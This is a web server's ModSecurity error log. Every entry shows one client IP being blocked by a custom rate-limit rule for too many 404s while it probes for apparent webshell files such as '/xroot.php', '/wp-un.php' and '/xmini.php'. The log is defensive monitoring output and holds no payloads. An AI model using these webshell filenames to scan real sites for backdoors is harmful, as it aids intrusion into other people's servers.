[Fri Apr 17 14:31:26.219912 2026] [:error] [pid 61523:tid 61566] [client 74.234.56.128:25979] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b35.php"] [unique_id "aeHTvsOaH-Pgc7WEf4NFdQAAAdg"]
[Fri Apr 17 14:31:26.681807 2026] [:error] [pid 34273:tid 34280] [client 74.234.56.128:25397] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b35.php"] [unique_id "aeHTvmuQDW686mK3dgHCrwAAAYU"]
[Fri Apr 17 14:31:26.802950 2026] [:error] [pid 61523:tid 61541] [client 74.234.56.128:25974] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b35.php"] [unique_id "aeHTvsOaH-Pgc7WEf4NFdgAAAcA"]
[Fri Apr 17 14:31:27.221869 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:24915] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b35.php"] [unique_id "aeHTvxP68VyHNvj1e56h8AAAANQ"]
[Fri Apr 17 14:31:27.347759 2026] [:error] [pid 51878:tid 51889] [client 74.234.56.128:25374] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b35.php"] [unique_id "aeHTv0nQhUtMbw9EsgYaHwAAAQk"]
[Fri Apr 17 14:31:27.756251 2026] [:error] [pid 61523:tid 61547] [client 74.234.56.128:25864] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b35.php"] [unique_id "aeHTv8OaH-Pgc7WEf4NFeQAAAcU"]
[Fri Apr 17 14:31:27.845662 2026] [:error] [pid 61523:tid 61559] [client 74.234.56.128:25414] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b35.php"] [unique_id "aeHTv8OaH-Pgc7WEf4NFegAAAdE"]
[Fri Apr 17 14:31:28.277707 2026] [:error] [pid 9263:tid 9266] [client 74.234.56.128:24932] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b35.php"] [unique_id "aeHTwBP68VyHNvj1e56h8gAAAME"]
[Fri Apr 17 14:31:28.380118 2026] [:error] [pid 61523:tid 61546] [client 74.234.56.128:24361] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xx.php"] [unique_id "aeHTwMOaH-Pgc7WEf4NFfQAAAcQ"]
[Fri Apr 17 14:31:28.790816 2026] [:error] [pid 25010:tid 25029] [client 74.234.56.128:25362] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xx.php"] [unique_id "aeHTwI-7kkf42RarqQ1FZgAAAVA"]
[Fri Apr 17 14:31:29.079745 2026] [:error] [pid 9151:tid 9176] [client 74.234.56.128:25360] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xx.php"] [unique_id "aeHTwchTVuRPkua22vQUYQAAAA8"]
[Fri Apr 17 14:31:29.325017 2026] [:error] [pid 9153:tid 9231] [client 74.234.56.128:25961] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xx.php"] [unique_id "aeHTweMHGxkTZX3c45fOtwAAAI0"]
[Fri Apr 17 14:31:29.667201 2026] [:error] [pid 9153:tid 9241] [client 74.234.56.128:25447] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xx.php"] [unique_id "aeHTweMHGxkTZX3c45fOugAAAJc"]
[Fri Apr 17 14:31:29.932642 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:25923] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xx.php"] [unique_id "aeHTwRP68VyHNvj1e56iAQAAAMU"]
[Fri Apr 17 14:31:30.308902 2026] [:error] [pid 51878:tid 51884] [client 74.234.56.128:24385] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xx.php"] [unique_id "aeHTwknQhUtMbw9EsgYaIgAAAQQ"]
[Fri Apr 17 14:31:30.428293 2026] [:error] [pid 9151:tid 9164] [client 74.234.56.128:25956] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xx.php"] [unique_id "aeHTwshTVuRPkua22vQUYwAAAAM"]
[Fri Apr 17 14:31:30.826580 2026] [:error] [pid 9152:tid 9214] [client 74.234.56.128:25921] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-un.php"] [unique_id "aeHTwpJYca8I3TNCwIf93wAAAFg"]
[Fri Apr 17 14:31:30.972723 2026] [:error] [pid 9263:tid 9265] [client 74.234.56.128:25905] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-un.php"] [unique_id "aeHTwhP68VyHNvj1e56iBAAAAMA"]
[Fri Apr 17 14:31:31.325803 2026] [:error] [pid 9263:tid 9284] [client 74.234.56.128:25929] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-un.php"] [unique_id "aeHTwxP68VyHNvj1e56iBgAAANM"]
[Fri Apr 17 14:31:31.515850 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:25915] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-un.php"] [unique_id "aeHTw5JYca8I3TNCwIf94AAAAEM"]
[Fri Apr 17 14:31:31.869252 2026] [:error] [pid 9152:tid 9208] [client 74.234.56.128:25430] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-un.php"] [unique_id "aeHTw5JYca8I3TNCwIf94QAAAFI"]
[Fri Apr 17 14:31:32.100747 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:25871] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-un.php"] [unique_id "aeHTxBP68VyHNvj1e56iCQAAAMM"]
[Fri Apr 17 14:31:32.474268 2026] [:error] [pid 51878:tid 51890] [client 74.234.56.128:25425] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-un.php"] [unique_id "aeHTxEnQhUtMbw9EsgYaJQAAAQo"]
[Fri Apr 17 14:31:32.630427 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:24845] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-un.php"] [unique_id "aeHTxBP68VyHNvj1e56iCgAAAM8"]
[Fri Apr 17 14:31:33.019895 2026] [:error] [pid 9263:tid 9288] [client 74.234.56.128:25960] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeHTxRP68VyHNvj1e56iCwAAANc"]
[Fri Apr 17 14:31:33.177278 2026] [:error] [pid 9152:tid 9210] [client 74.234.56.128:24898] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeHTxZJYca8I3TNCwIf94wAAAFQ"]
[Fri Apr 17 14:31:33.572228 2026] [:error] [pid 51878:tid 51901] [client 74.234.56.128:25426] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeHTxUnQhUtMbw9EsgYaJwAAARU"]
[Fri Apr 17 14:31:33.688914 2026] [:error] [pid 34273:tid 34296] [client 74.234.56.128:25448] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeHTxWuQDW686mK3dgHCsAAAAZU"]
[Fri Apr 17 14:31:34.111981 2026] [:error] [pid 9151:tid 9172] [client 74.234.56.128:25927] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeHTxshTVuRPkua22vQUZQAAAAs"]
[Fri Apr 17 14:31:34.199049 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:25357] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeHTxpJYca8I3TNCwIf95gAAAE8"]
[Fri Apr 17 14:31:34.636389 2026] [:error] [pid 34273:tid 34294] [client 74.234.56.128:25888] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeHTxmuQDW686mK3dgHCswAAAZM"]
[Fri Apr 17 14:31:34.739946 2026] [:error] [pid 9152:tid 9196] [client 74.234.56.128:25458] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeHTxpJYca8I3TNCwIf95wAAAEY"]
[Fri Apr 17 14:31:35.161037 2026] [:error] [pid 51878:tid 51896] [client 74.234.56.128:24906] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmini.php"] [unique_id "aeHTx0nQhUtMbw9EsgYaLQAAARA"]
[Fri Apr 17 14:31:35.281207 2026] [:error] [pid 9152:tid 9195] [client 74.234.56.128:25910] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmini.php"] [unique_id "aeHTx5JYca8I3TNCwIf96AAAAEU"]
[Fri Apr 17 14:31:35.703695 2026] [:error] [pid 34273:tid 34292] [client 74.234.56.128:25976] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmini.php"] [unique_id "aeHTx2uQDW686mK3dgHCtQAAAZE"]
[Fri Apr 17 14:31:35.779735 2026] [:error] [pid 9152:tid 9200] [client 74.234.56.128:25405] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmini.php"] [unique_id "aeHTx5JYca8I3TNCwIf96QAAAEo"]
[Fri Apr 17 14:31:36.231549 2026] [:error] [pid 34273:tid 34298] [client 74.234.56.128:25383] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmini.php"] [unique_id "aeHTyGuQDW686mK3dgHCtgAAAZc"]
[Fri Apr 17 14:31:36.287592 2026] [:error] [pid 9263:tid 9267] [client 74.234.56.128:25361] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmini.php"] [unique_id "aeHTyBP68VyHNvj1e56iEQAAAMI"]
[Fri Apr 17 14:31:36.739249 2026] [:error] [pid 9152:tid 9201] [client 74.234.56.128:25920] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmini.php"] [unique_id "aeHTyJJYca8I3TNCwIf96gAAAEs"]
[Fri Apr 17 14:31:36.827847 2026] [:error] [pid 9153:tid 9233] [client 74.234.56.128:25963] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmini.php"] [unique_id "aeHTyOMHGxkTZX3c45fOvgAAAI8"]
[Fri Apr 17 14:31:37.286626 2026] [:error] [pid 25010:tid 25034] [client 74.234.56.128:25899] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeHTyY-7kkf42RarqQ1FZwAAAVU"]
[Fri Apr 17 14:31:37.377217 2026] [:error] [pid 25010:tid 25033] [client 74.234.56.128:24897] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeHTyY-7kkf42RarqQ1FaAAAAVQ"]
[Fri Apr 17 14:31:37.800267 2026] [:error] [pid 61523:tid 61555] [client 74.234.56.128:25359] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeHTycOaH-Pgc7WEf4NFiAAAAc0"]
[Fri Apr 17 14:31:37.915906 2026] [:error] [pid 61523:tid 61550] [client 74.234.56.128:25968] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeHTycOaH-Pgc7WEf4NFiQAAAcg"]
[Fri Apr 17 14:31:38.349965 2026] [:error] [pid 61523:tid 61548] [client 74.234.56.128:24945] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeHTysOaH-Pgc7WEf4NFigAAAcY"]
[Fri Apr 17 14:31:38.414452 2026] [:error] [pid 34273:tid 34290] [client 74.234.56.128:24428] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeHTymuQDW686mK3dgHCugAAAY8"]
[Fri Apr 17 14:31:38.883780 2026] [:error] [pid 9152:tid 9197] [client 74.234.56.128:25369] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeHTypJYca8I3TNCwIf96wAAAEc"]
[Fri Apr 17 14:31:38.964891 2026] [:error] [pid 9153:tid 9225] [client 74.234.56.128:25966] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeHTyuMHGxkTZX3c45fOwgAAAIc"]
[Fri Apr 17 14:31:39.438217 2026] [:error] [pid 9153:tid 9241] [client 74.234.56.128:24857] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2468.php"] [unique_id "aeHTy-MHGxkTZX3c45fOxAAAAJc"]
[Fri Apr 17 14:31:39.481678 2026] [:error] [pid 34273:tid 34287] [client 74.234.56.128:25370] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2468.php"] [unique_id "aeHTy2uQDW686mK3dgHCvAAAAYw"]
[Fri Apr 17 14:31:39.943794 2026] [:error] [pid 9151:tid 9161] [client 74.234.56.128:25946] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2468.php"] [unique_id "aeHTy8hTVuRPkua22vQUaQAAAAA"]
[Fri Apr 17 14:31:40.005488 2026] [:error] [pid 9153:tid 9223] [client 74.234.56.128:24954] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2468.php"] [unique_id "aeHTzOMHGxkTZX3c45fOxQAAAIU"]
[Fri Apr 17 14:31:40.459935 2026] [:error] [pid 34273:tid 34299] [client 74.234.56.128:24339] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2468.php"] [unique_id "aeHTzGuQDW686mK3dgHCvgAAAZg"]
[Fri Apr 17 14:31:40.513789 2026] [:error] [pid 9153:tid 9238] [client 74.234.56.128:25455] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2468.php"] [unique_id "aeHTzOMHGxkTZX3c45fOxgAAAJQ"]
[Fri Apr 17 14:31:40.970652 2026] [:error] [pid 51878:tid 51891] [client 74.234.56.128:24903] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2468.php"] [unique_id "aeHTzEnQhUtMbw9EsgYaNQAAAQs"]
[Fri Apr 17 14:31:41.053465 2026] [:error] [pid 51878:tid 51904] [client 74.234.56.128:25882] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2468.php"] [unique_id "aeHTzUnQhUtMbw9EsgYaNgAAARg"]
[Fri Apr 17 14:31:41.487180 2026] [:error] [pid 9151:tid 9180] [client 74.234.56.128:24928] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eterezrezt.php"] [unique_id "aeHTzchTVuRPkua22vQUawAAABM"]
